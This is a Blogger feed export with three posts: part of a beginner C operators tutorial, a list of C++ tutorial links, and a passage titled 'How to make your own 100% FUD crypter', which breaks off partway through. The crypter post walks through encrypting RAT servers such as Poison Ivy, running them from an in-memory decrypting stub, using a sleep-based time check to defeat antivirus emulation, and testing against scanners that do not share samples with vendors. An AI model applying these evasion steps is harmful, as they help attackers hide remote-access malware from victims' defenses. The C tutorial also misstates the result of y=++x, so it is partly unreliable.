&lt;div class=&quot;quoteheader&quot;&gt;&lt;b&gt;Quote&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;quote&quot;&gt;&lt;b&gt;The result of modulus operation is 2&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;2.2.2.3 Arithmetic Assignment Operators (+=, -=, /=, %=)&lt;br /&gt;
&lt;br /&gt;
C provides special operators that can be used to combine an arithmetic operation with an assignment operator. Consider a statement x=x+4, now the same statement can be written as x+=4. Both of them adds 4 to the variable x.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: maroon;&quot;&gt;Example :&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
A-=1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* same as a=a-1 */&lt;br /&gt;
y*=4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* same as y=y*4 */&lt;br /&gt;
z%=10&amp;nbsp;&amp;nbsp;&amp;nbsp;/* same as z=z%10 */ &lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;codeheader&quot;&gt;&lt;b&gt;Code:&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre style=&quot;display: inline; margin-top: 0pt;&quot;&gt;&lt;b&gt;/* program explaining arithmetic assignment operators */

#include&lt;stdio.h&gt;
#include&lt;conio.h&gt;
void main()
{
clrscr();
int a,s,m,d,mod;
a=10;
s=20;
m=30;
d=40;
mod=55;
a+=10;
s-=5;
m*=3;
d/=10;
mod%=10;
printf(“Value of a=a+10 is %d \n”,a);
printf(“Value of s=s-5 is %d \n”,s);
printf(“Value of m=m*3 is %d \n”,m);
printf(“Value of d=d/10 is %d \n”,d);
printf(“Value of mod=mod%10 is %d \n”,mod);
getch();
}&lt;/conio.h&gt;&lt;/stdio.h&gt;&lt;/b&gt;&lt;/pre&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Output :&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;quoteheader&quot;&gt;&lt;b&gt;Quote&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;quote&quot;&gt;&lt;b&gt;Value of a=a+10 is 20&lt;br /&gt;
Value of s=s-5 is 15&lt;br /&gt;
Value of m=m*3 is 90&lt;br /&gt;
Value of d=d/10 is 4&lt;br /&gt;
Value of mod=mod%10 is 5&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Note : The Arithmetic assignment operators not only save you a bit of typing but also it is implemented more efficiently. &lt;br /&gt;
&lt;/b&gt;&lt;b&gt;2.2.2.4 Increment and Decrement Operators&lt;br /&gt;
&lt;br /&gt;
The ++ amd – are the increment and decrement operators of C. The increment operator increases its operand by &lt;/b&gt;&lt;b&gt;one and only one and the decrement operator decreases its operand by &lt;/b&gt;&lt;b&gt;one and only one.&lt;br /&gt;
&lt;br /&gt;
In the prefix form, the operand is incremented (or decremented) before the value is obtained for the use in the expression. In the postfix form, the previous value is obtained for the use in the expression and the operand is modified. &lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: maroon;&quot;&gt;Example :&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
x=43;&lt;br /&gt;
y=++x;&lt;br /&gt;
&lt;br /&gt;
In this case y is set to 43, because the increment occurs &lt;/b&gt;&lt;b&gt;before x is assigned to y.&lt;br /&gt;
Thus y=++x is equivalent to&lt;br /&gt;
x=x+1&lt;br /&gt;
y=x;&lt;br /&gt;
&lt;br /&gt;
However, when written like this,&lt;br /&gt;
x=42;&lt;br /&gt;
y=x++;&lt;br /&gt;
&lt;br /&gt;
The value of x is obtained before the increment operator is executed, so the value of y is &lt;/b&gt;&lt;b&gt;42.&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;In this case y=x++ is equivalent to &lt;br /&gt;
&lt;br /&gt;
y=x;&lt;br /&gt;
x=x+1&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;codeheader&quot;&gt;&lt;b&gt;Code:&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre style=&quot;display: inline; margin-top: 0pt;&quot;&gt;&lt;b&gt;/* program demonstrating the increment operator */

#include&lt;stdio.h&gt;
#include&lt;conio.h&gt;
void main()
{
clrscr();
int a=1;
printf(“a=%d \n”,a);
printf(“a=%d \n”,a++);
printf(“a=%d \n”,++a);
printf(“a=%d \n”,++a);
printf(“a=%d \n”,a++);
printf(“a=%d \n”,a);
getch();
}&lt;/conio.h&gt;&lt;/stdio.h&gt;&lt;/b&gt;&lt;/pre&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Output :&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;quoteheader&quot;&gt;&lt;b&gt;Quote&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;quote&quot;&gt;&lt;b&gt;a=1&lt;br /&gt;
a=1&lt;br /&gt;
a=3&lt;br /&gt;
a=4&lt;br /&gt;
a=4&lt;br /&gt;
a=5&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Note : The decrement operator works in the same manner.&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;&lt;b&gt;***************&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
&lt;br /&gt;
This is not the full chapter 2 i am lil busy will post the rest part in 1-2 days &lt;img alt=&quot;Smiley&quot; border=&quot;0&quot; src=&quot;http://www.andhrahackers.com/forum/Smileys/fantasticsmileys/smiley.gif&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
please give your suggestions and try to correct me if i am somewhere wrong &lt;img alt=&quot;Smiley&quot; border=&quot;0&quot; src=&quot;http://www.andhrahackers.com/forum/Smileys/fantasticsmileys/smiley.gif&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Thanks&amp;nbsp;&lt;/b&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/7652508852696156090/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/c-tutorial-chapter-2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/7652508852696156090'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/7652508852696156090'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/c-tutorial-chapter-2.html' title='C Tutorial Chapter 2'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-4554046126617940172</id><published>2011-07-05T04:22:00.001-07:00</published><updated>2011-07-05T04:22:43.834-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C / C++"/><title type='text'>Tutorials [C,C++ coding]</title><content type='html'>&lt;b&gt;Tutorials about C++&lt;br /&gt;
&lt;a href=&quot;http://cplus.about.com/&quot; target=&quot;_blank&quot;&gt;http://cplus.about.com/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
C++ Annotations (moving from C to C++)&lt;br /&gt;
&lt;a href=&quot;http://www.icce.rug.nl/documents/cplusplus/&quot; target=&quot;_blank&quot;&gt;http://www.icce.rug.nl/documents/cplusplus/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
DevCentral tutorials for C and C++&lt;br /&gt;
&lt;a href=&quot;http://devcentral.iftech.com/learning/tutorials/&quot; target=&quot;_blank&quot;&gt;http://devcentral.iftech.com/learning/tutorials/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
C++ tutorials for Windows 32, how to do without MFC, getting the compiler&lt;br /&gt;
to do the hard work of avoiding memory leaks, games, frequency analysis etc&lt;br /&gt;
&lt;a href=&quot;http://www.relisoft.com/&quot; target=&quot;_blank&quot;&gt;http://www.relisoft.com/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
... interactive guide to C++ ... written with Pascal users in mind&lt;br /&gt;
&lt;a href=&quot;http://tqd.advanced.org/3074/&quot; target=&quot;_blank&quot;&gt;http://tqd.advanced.org/3074/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Coronado enterprises tutorials (formerly Gordon Dodrill&#39;s)&lt;br /&gt;
You can see sample chapters, but are charged for the full tutorials&lt;br /&gt;
&lt;a href=&quot;http://www.coronadoenterprises.com/&quot; target=&quot;_blank&quot;&gt;http://www.coronadoenterprises.com/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Guru of the week - ie discussion papers on using C++&lt;br /&gt;
&lt;a href=&quot;http://www.cntc.com/resources/gotw.html&quot; target=&quot;_blank&quot;&gt;http://www.cntc.com/resources/gotw.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Tutorials etc on Borland&#39;s CBuilder&lt;br /&gt;
&lt;a href=&quot;http://www.richplum.co.uk/cbuilder/&quot; target=&quot;_blank&quot;&gt;http://www.richplum.co.uk/cbuilder/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Tutorial on the STL by Phil Ottewell.&lt;br /&gt;
&lt;a href=&quot;http://www.yrl.co.uk/%7Ephil/stl/stl.htmlx&quot; target=&quot;_blank&quot;&gt;http://www.yrl.co.uk/~phil/stl/stl.htmlx&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.pottsoft.com/home/stl/stl.htmlx&quot; target=&quot;_blank&quot;&gt;http://www.pottsoft.com/home/stl/stl.htmlx&lt;/a&gt;&lt;br /&gt;
He has also got a tutorial on C for Fortran users&lt;br /&gt;
&lt;a href=&quot;http://www.pottsoft.com/home/c_course/course.html&quot; target=&quot;_blank&quot;&gt;http://www.pottsoft.com/home/c_course/course.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Notes for a university lecture course, but&lt;br /&gt;
maybe there is enough here for independent study.&lt;br /&gt;
&lt;a href=&quot;http://m2tech.net/cppclass/&quot; target=&quot;_blank&quot;&gt;http://m2tech.net/cppclass/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Note on pointers - perhaps more oriented towards C than C++.&lt;br /&gt;
&lt;a href=&quot;http://www.cudenver.edu/%7Etgibson/tutorial/&quot; target=&quot;_blank&quot;&gt;http://www.cudenver.edu/~tgibson/tutorial/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Very simple C under DOS or MS-windows. Not much C++;&lt;br /&gt;
possibly useful to someone interested in programming&lt;br /&gt;
MS-windows without MFC etc.&lt;br /&gt;
&lt;a href=&quot;http://www.cpp-programming.com/&quot; target=&quot;_blank&quot;&gt;http://www.cpp-programming.com&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Weekly newsletter on C++ and other things: aimed at helping new&lt;br /&gt;
and intermediate programmers improve their coding skills.&lt;br /&gt;
&lt;a href=&quot;http://www.cyberelectric.net.au/%7Ecollins&quot; target=&quot;_blank&quot;&gt;http://www.cyberelectric.net.au/~collins&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.informit.com/&quot; target=&quot;_blank&quot;&gt;http://www.informit.com&lt;/a&gt; - a site run by Macmillan USA containing a lot&lt;br /&gt;
of information including the several well-known C++ books for&lt;br /&gt;
free download - if you are prepared to supply name and email address&lt;br /&gt;
&lt;a href=&quot;http://www.informit.com/&quot; target=&quot;_blank&quot;&gt;http://www.informit.com/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
C++ in 21 days - 2nd edition&lt;br /&gt;
&lt;a href=&quot;http://newdata.box.sk/bx/c/&quot; target=&quot;_blank&quot;&gt;http://newdata.box.sk/bx/c/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
A variety of C++ books on line (Macmillian, Sams, Wiley, IDG etc)&lt;br /&gt;
You can see the tables of contents, but you will have to have a&lt;br /&gt;
subscription to read the books themselves after a free trial.&lt;br /&gt;
&lt;a href=&quot;http://www.itknowledge.com/reference/dir...es.c1.html&quot; target=&quot;_blank&quot;&gt;http://www.itknowledge.com/reference/dir...es.c1.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Elementary introduction to C++ (mostly the C subset)&lt;br /&gt;
&lt;a href=&quot;http://clio.mit.csu.edu.au/TTT/&quot; target=&quot;_blank&quot;&gt;http://clio.mit.csu.edu.au/TTT/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
How to use function-pointers in C and C++, callbacks, functors&lt;br /&gt;
&lt;a href=&quot;http://www.function-pointer.org/&quot; target=&quot;_blank&quot;&gt;http://www.function-pointer.org&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.newty.de/fpt/fpt.html&quot; target=&quot;_blank&quot;&gt;http://www.newty.de/fpt/fpt.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Short C++ tutorial, aimed at people who already have&lt;br /&gt;
experience with an object-oriented programming language&lt;br /&gt;
&lt;a href=&quot;http://www.entish.org/realquickcpp/&quot; target=&quot;_blank&quot;&gt;http://www.entish.org/realquickcpp/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Articles about Win32, C++, MFC articles using VC++ compiler.&lt;br /&gt;
&lt;a href=&quot;http://www.codersource.net/&quot; target=&quot;_blank&quot;&gt;http://www.codersource.net&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Hope you enjoy&lt;/b&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/4554046126617940172/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/tutorials-cc-coding.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/4554046126617940172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/4554046126617940172'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/tutorials-cc-coding.html' title='Tutorials [C,C++ coding]'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-6006231755309566657</id><published>2011-07-05T04:21:00.001-07:00</published><updated>2011-07-05T04:21:47.350-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C / C++"/><title type='text'>How to make your own 100% FUD crypter with C++</title><content type='html'>&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;Thanks To&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;post_avatar&quot; width=&quot;1&quot;&gt;&lt;/td&gt;       &lt;td class=&quot;post_author&quot;&gt;&lt;b&gt;&lt;span class=&quot;largetext&quot;&gt;DrIdle&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;/table&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;This tutorial is strictly for educational purposes only, I am not responsible for any of the action you may take upon others. Please, Don&#39;t abuse this tutorial, Use it wisely.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;I&#39;m not going to explain a completely new method of how executables can be made FUD. I guess most of the public available crypters do it similarly. But the problem with those crypters is that they get detected very soon after they were published. So I figured out a way to write my own crypter in C++. In this tutorial I&#39;m going to explain how you can implement your own crypter and how you can play around with the code to get your exe FUD again if it gets detected some day.&lt;br /&gt;
&lt;br /&gt;
Maybe these ideas are not new to you and someone else posted them already here somewhere. In this case please let me know.&lt;/b&gt; &lt;b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;text-decoration: underline;&quot;&gt;I tested it with two RATs:&lt;/span&gt;&lt;/b&gt;  &lt;b&gt;&lt;br /&gt;
- Poison Ivy server (v2.3.2)&lt;br /&gt;
- Cybergate server (v1.07.5) (Hint: &quot;Compress with UPX&quot; must be disabled)&lt;br /&gt;
(other tools might also work with this technique, just test with your exe)&lt;br /&gt;
&lt;br /&gt;
The system is a Windows XP SP3 machine. &lt;/b&gt; &lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;I don&#39;t know if this also works for Vista and 7. Maybe someone can try?&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;text-decoration: underline;&quot;&gt;Server size:&lt;/span&gt;&lt;/b&gt;  &lt;b&gt;&lt;br /&gt;
- Poison Ivy: 10KB (before), 46KB (after)&lt;br /&gt;
- Cybergate: 290KB (before), 327KB (after)&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;text-decoration: underline;&quot;&gt;Antivirus (AV) detection:&lt;/span&gt;&lt;/b&gt;  &lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;br /&gt;
&lt;div&gt;&lt;div class=&quot;spoiler_header&quot;&gt;&lt;b&gt;Screenshot&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;spoiler_header&quot;&gt;&lt;b&gt;&lt;a href=&quot;http://hackguide4u.blogspot.com/2010/10/how-to-make-your-own-100-fud-crypter.html&quot;&gt;&lt;br /&gt;
&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;spoiler_body&quot; style=&quot;display: block;&quot;&gt;&lt;b&gt;&lt;img alt=&quot;[Image: o3ju6s4dnzrfcyul0m.png]&quot; border=&quot;0&quot; height=&quot;586&quot; src=&quot;http://imagenic.net/images/o3ju6s4dnzrfcyul0m.png&quot; width=&quot;640&quot; /&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;!!Important!!&lt;/span&gt; If you want to test your crypted exe with online AVs, do it only here (&lt;a href=&quot;http://scanner2.novirusthanks.org/&quot; target=&quot;_blank&quot;&gt;http://scanner2.novirusthanks.org/&lt;/a&gt;) and don&#39;t forget to check the checkbox &quot;Do not distribute the sample&quot;! Otherwise your exe will be distributed to the AV companies so they can exermine it and update their virus databases.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;So let&#39;s get started!&lt;/span&gt;&lt;/b&gt;   &lt;b&gt;&lt;br /&gt;
&lt;br /&gt;
Agenda:&lt;/b&gt; &lt;b&gt;&lt;br /&gt;
1. Stuff you need&lt;br /&gt;
2. Implement the Encrypter&lt;br /&gt;
3. Implement the Stub (Decrypter)&lt;br /&gt;
4. Bind your encrypted exe with the Stub&lt;br /&gt;
5. Play around with code to get your exe to be FUD again&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;1. Stuff you need&lt;/span&gt;&lt;/b&gt;  &lt;b&gt;&lt;br /&gt;
- Microsoft Visual C++ Express 2010: &lt;a href=&quot;http://www.microsoft.com/express/Downloads&quot; target=&quot;_blank&quot;&gt;http://www.microsoft.com/express/Downloads&lt;/a&gt; (the Express edition it is free)&lt;br /&gt;
- Resource Hacker: &lt;a href=&quot;http://www.angusj.com/resourcehacker&quot; target=&quot;_blank&quot;&gt;http://www.angusj.com/resourcehacker&lt;/a&gt;&lt;br /&gt;
- my implementations of the Encrypter and the Stub (Visual Studio projects): &lt;a href=&quot;http://www.mediafire.com/?uvst74qimxjvoi1&quot; target=&quot;_blank&quot;&gt;http://www.mediafire.com/?uvst74qimxjvoi1&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
2. Implement the Encrypter&lt;/b&gt; &lt;b&gt;&lt;br /&gt;
Open the Visual Studio project &quot;MyEncrypter&quot; by double clicking on &quot;MyEncrypter.sln&quot; (see &quot;1. Stuff you need&quot; for a download link). It should look like this (sorry, I have the german version of Visual Studio):&lt;/b&gt; &lt;br /&gt;
&lt;div&gt;&lt;div class=&quot;spoiler_header&quot;&gt;&lt;b&gt;Screenshot&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;spoiler_header&quot;&gt;&lt;b&gt;&lt;a href=&quot;http://hackguide4u.blogspot.com/2010/10/how-to-make-your-own-100-fud-crypter.html&quot;&gt;&lt;br /&gt;
&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;spoiler_body&quot; style=&quot;display: block;&quot;&gt;&lt;b&gt;&lt;img alt=&quot;[Image: thd1654atudx28x1luu.png]&quot; border=&quot;0&quot; height=&quot;351&quot; src=&quot;http://imagenic.net/images/thd1654atudx28x1luu.png&quot; width=&quot;640&quot; /&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
(for all of you C++ pros out there: I know my code can be optimized. I&#39;m not used to C++ coding, so please be lenient... this is for educational purpose, not for max performance)&lt;br /&gt;
&lt;br /&gt;
The Encrypter is a console application. You need it to encrypt your exe, so AVs are not able to find pattern matches. The encryption algorithm I used is the AES algorithm.&lt;/b&gt; &lt;b&gt;&lt;br /&gt;
These are the steps the Encrypter takes:&lt;br /&gt;
1. open a given binary file&lt;br /&gt;
2. encrypt the data with an AES key (you may change this key as you like)&lt;br /&gt;
3. write the encrypted data to an output file&lt;br /&gt;
(try to understand what the C++ code does!)&lt;br /&gt;
&lt;br /&gt;
Compile the Visual Studio project by pressing F7. Now you have got your Encrypter application &quot;MyEncrypter.exe&quot; in the project output directory.&lt;/b&gt; &lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;img alt=&quot;[Image: yppwmgjsm4y76bn9w0u.png]&quot; border=&quot;0&quot; src=&quot;http://imagenic.net/images/yppwmgjsm4y76bn9w0u.png&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
The binary file to encrypt is passed to the Encrypter as the first parameter (e.g. &quot;MyEncrypter.exe server_to_encrypt.exe&quot;). Either you do this by typing the command at the Win command prompt or you can also drag &quot;server_to_encrypt.exe&quot; onto &quot;MyEncrypter.exe&quot;.&lt;/b&gt;  &lt;b&gt;&lt;br /&gt;
If the Encrypter runs successfully a file called &quot;encrypted.dat&quot; will be generated in the same directory as the Encrypter. This encrypted file should have exact the same size as the unencrypted file.&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;img alt=&quot;[Image: kbu0gmeyhefpytvedw1s.png]&quot; border=&quot;0&quot; src=&quot;http://imagenic.net/images/kbu0gmeyhefpytvedw1s.png&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
This was the easy part of the tut ;) Now let&#39;s move on to the Stub.&lt;/b&gt;  &lt;b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;3. Implement the Stub (Decrypter)&lt;/span&gt;&lt;/b&gt;  &lt;b&gt;&lt;br /&gt;
A Stub is the part of an exe, that is responsible for decrypting the rest of the exe on runtime and to run the decrypted code in memory. This way AVs which do only support a static code analysis (most of the AVs) do not have the chance to detect your exe. Only AVs which support dynamic code analysis are still able to detect it. But the dynamic analysis is very resource intensive so AVs running on normal end user computers don&#39;t support it.&lt;br /&gt;
&lt;br /&gt;
Open the Visual Studio project &quot;MyStub&quot; by double clicking on &quot;MyStub.sln&quot; (see &quot;1. Stuff you need&quot; for a download link). It should look like this:&lt;/b&gt; &lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;br /&gt;
&lt;div&gt;&lt;div class=&quot;spoiler_header&quot;&gt;&lt;b&gt;Screenshot&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;spoiler_header&quot;&gt;&lt;/div&gt;&lt;div class=&quot;spoiler_body&quot; style=&quot;display: block;&quot;&gt;&lt;b&gt;&lt;img alt=&quot;[Image: 3llkv7ffrz5cbh1upxo.png]&quot; border=&quot;0&quot; height=&quot;351&quot; src=&quot;http://imagenic.net/images/3llkv7ffrz5cbh1upxo.png&quot; width=&quot;640&quot; /&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
The Stub is a Win32 application. It decrypts the binary data found in the resource of the exe. At the time of decryption, all parts of the exe is loaded into memory and is therefore invisible for the AVs. As we used the AES for encryption we need the same algorithm and the same AES key again for decryption. These are the steps the Stub takes:&lt;br /&gt;
1. search for the resource with the type &quot;BIN&quot; and the name &quot;132&quot; (you may change this as you like but remember what you put in here. We need it later again! Also don&#39;t use the name &quot;0&quot;)&lt;br /&gt;
2. copy the encrypted resource data to the heap&lt;br /&gt;
3. decrypt data&lt;br /&gt;
4. run decrypted code (your exe) inside memory&lt;br /&gt;
(try to understand what the C++ code does!)&lt;br /&gt;
&lt;br /&gt;
With these steps I was able to trick 15 from 16 AVs. Only the AV &quot;VBA32&quot; managed to get through the AES decryption. But the VBA32 also does only support a static code analysis (at least the online scanner provided with novirusthanks.org) so I came up with the idea to include the system time to get the correct AES key. If the system time is ignored (which is the case in static analysis), a wrong key is used to decrypt the data and VBA32 doesn&#39;t find anything. This step comes right before step 3 (AES decryption).&lt;/b&gt; &lt;b&gt;&lt;br /&gt;
&lt;br /&gt;
This is the main idea:&lt;/b&gt; &lt;b&gt;&lt;br /&gt;
1. take system time&lt;br /&gt;
2. sleep for 2 seconds&lt;br /&gt;
3. take system time again&lt;br /&gt;
4. compare system times. If more then one second has passed, then take the correct key value, otherwise take a wrong key value.&lt;br /&gt;
&lt;br /&gt;
When VBA32 traces the code, it ignores the sleep statement and therefore takes the wrong key value. So now all 16 AVs are tricked.&lt;/b&gt; &lt;b&gt;&lt;br /&gt;
&lt;br /&gt;
Compile the Visual Studio project by pressing F7 (make sure that the Release profile is active).&lt;/b&gt; &lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;img alt=&quot;[Image: 63fd5tf8flgvs8w9xkhu.png]&quot; border=&quot;0&quot; src=&quot;http://imagenic.net/images/63fd5tf8flgvs8w9xkhu.png&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Now you have got your Stub application &quot;MyStub.exe&quot; in the project output directory.&lt;/b&gt;  &lt;b&gt;&lt;br /&gt;
&lt;img alt=&quot;[Image: kt0riu1xavki4q8ef9uq.png]&quot; border=&quot;0&quot; src=&quot;http://imagenic.net/images/kt0riu1xavki4q8ef9uq.png&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Okay, now we have our Stub compiled but no resource (encrypted data) attached to it. Unfortunatelly the Express version of Visual Studio does not allow us to add resources to our project. So we have to find another way to accomplish this. The tool Resource Hacker (see &quot;1. Stuff you need&quot; for a download link) will help us out of this misery.&lt;/b&gt;  &lt;b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;4. Bind your encrypted exe with the Stub&lt;/span&gt;&lt;/b&gt;  &lt;b&gt;&lt;br /&gt;
Start the tool Resource Hacker and open &quot;MyStub.exe&quot; you just compiled in step 3. It should look like this:&lt;/b&gt; &lt;br /&gt;
&lt;div&gt;&lt;div class=&quot;spoiler_header&quot;&gt;&lt;b&gt;Screenshot&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;spoiler_header&quot;&gt;&lt;/div&gt;&lt;div class=&quot;spoiler_body&quot; style=&quot;display: block;&quot;&gt;&lt;b&gt;&lt;img alt=&quot;[Image: x1pt4ccb75bild2ykvnh.png]&quot; border=&quot;0&quot; src=&quot;http://imagenic.net/images/x1pt4ccb75bild2ykvnh.png&quot; /&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
Now navigate to &quot;Action&quot; -&amp;gt; &quot;Add new Resource&quot; and open your encrypted file &quot;encrypted.dat&quot; from step 2. As Resource Type fill in &quot;BIN&quot; and as Resource Name fill in &quot;132&quot;. Important: these identifiers must match exactly what you coded into your MyStub.exe (MyStub.cpp) from step 3. If you have changed them you have to insert the correct values here too.&lt;/b&gt; &lt;br /&gt;
